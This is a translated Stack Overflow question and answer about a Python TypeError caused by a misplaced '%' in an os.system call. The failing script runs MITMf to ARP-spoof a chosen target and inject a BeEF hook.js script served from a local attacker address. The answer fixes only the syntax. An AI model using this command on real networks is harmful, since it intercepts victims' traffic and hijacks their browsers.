首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >TypeError:在使用python执行命令时,不支持%:'int‘和'tuple’的操作数类型

TypeError:在使用python执行命令时,不支持%:'int‘和'tuple’的操作数类型
EN

Stack Overflow用户
提问于 2016-03-03 01:12:52
回答 1查看 4.3K关注 0票数 0

我的密码是

代码语言:javascript
复制
#! /usr/bin/env python
ip_addr = raw_input('Enter your target: ')
gateway = raw_input('Enter your gateway: ')
import os
os.chdir('/usr/share/mitmf/')
os.system ('python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js') % (gateway, ip_addr)

我的产出是:

代码语言:javascript
复制
  File "./ARP_Beef.py", line 6, in <module>
    os.system ('python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js') % (gateway, ip_addr)
  TypeError: unsupported operand type(s) for %: 'int' and 'tuple'

我对蟒蛇很陌生,希望有人能帮我一把。

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2016-03-03 01:22:00

您的括号有问题:

代码语言:javascript
复制
os.system("....") % (gateway, ip_addr)

使用这段代码,Python首先运行os.system,返回一个int,然后尝试用(gateway, ip_addr)元组调用%操作符。

你的意思可能是:

代码语言:javascript
复制
os.system("...." % (gateway, ip_addr))

顺便提一下,我建议对您的代码进行两项改进:

  1. 使用sys.executable而不是硬编码的" python“:这样,您肯定会使用与当前运行脚本的版本相同的python版本。
  2. 喜欢在os.system上使用子进程
票数 4
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/35761306

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档